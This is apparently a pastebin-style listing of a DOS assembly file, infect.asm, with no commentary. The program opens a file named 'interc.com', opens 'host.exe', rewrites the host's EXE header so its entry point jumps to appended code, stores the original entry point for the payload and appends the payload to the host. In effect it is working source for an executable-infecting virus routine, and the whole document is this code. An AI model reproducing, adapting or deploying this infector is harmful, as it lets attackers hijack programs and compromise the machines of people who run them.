infect.asm 2.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109
  1. .model small
  2. .code
  3. org 100h
  4. start:
  5. ;------------- Interceptor -------------
  6. mov ax, 3d00h
  7. mov dx, offset _iname
  8. int 21h
  9. mov bx, ax
  10. mov ah, 3fh
  11. mov dx, offset buffer
  12. mov cx, 10000
  13. int 21h
  14. mov _isize, ax
  15. mov ah, 3eh
  16. int 21h
  17. ;------------- Interceptor -------------
  18. ;------------- Host --------------------
  19. mov ax, 3d02h
  20. mov dx, offset _hname
  21. int 21h
  22. mov bx, ax
  23. mov handle, ax
  24. mov ah, 3fh
  25. mov dx, offset header
  26. mov cx, 24
  27. int 21h
  28. ;------------- Host --------------------
  29. ;------------- Header ------------------
  30. mov ax, word ptr header + 22 ; Old rCS1
  31. mov word ptr buffer + 5, ax ; Save
  32. mov ax, word ptr header + 20 ; Old rIP1
  33. mov word ptr buffer + 3, ax ; Save
  34. mov ax, word ptr header + 4 ; AX <= pagecnt
  35. dec ax
  36. shl ax, 9
  37. add ax, word ptr header + 2 ; AX += partpg
  38. mov dx, ax ; / Size of
  39. mov bx, word ptr header + 8 ; | Loadable
  40. shl bx, 4 ; | Part
  41. sub dx, bx ; \ ( DX: Our NEW rCS:[rIP] )
  42. mov bx, dx
  43. shr bx, 4 ; BX = rCS2
  44. mov word ptr buffer + 9, bx
  45. mov word ptr header + 22, bx
  46. shl bx, 4
  47. sub dx, bx ; DX = rIP2
  48. mov word ptr buffer + 7, dx
  49. mov word ptr header + 20, dx
  50. add ax, _isize
  51. mov bx, ax
  52. shr bx, 9
  53. inc bx ; BX=new pgcnt
  54. mov word ptr header + 4, bx
  55. dec bx
  56. shl bx, 9
  57. sub ax, bx ; AX = new partpg
  58. mov word ptr header + 2, ax
  59. ;------------- Header ------------------
  60. ;------------- Host --------------------
  61. mov ax, 4200h
  62. mov bx, handle
  63. xor cx, cx
  64. xor dx, dx
  65. int 21h
  66. mov ah, 40h
  67. mov cx, 24
  68. mov dx, offset header
  69. int 21h
  70. mov ax, 4202h
  71. xor cx, cx
  72. xor dx, dx
  73. int 21h
  74. mov ah, 40h
  75. mov cx, _isize
  76. mov dx, offset buffer
  77. int 21h
  78. mov ah, 3eh
  79. int 21h
  80. ;------------- Host --------------------
  81. mov ah, 4ch
  82. int 21h
  83. _hname db 'host.exe',0
  84. _iname db 'interc.com',0
  85. handle dw ?
  86. header db 24 dup (1)
  87. _isize dw ?
  88. rCS2 dw ?
  89. rIP2 dw ?
  90. buffer db 10000 dup (?)
  91. end start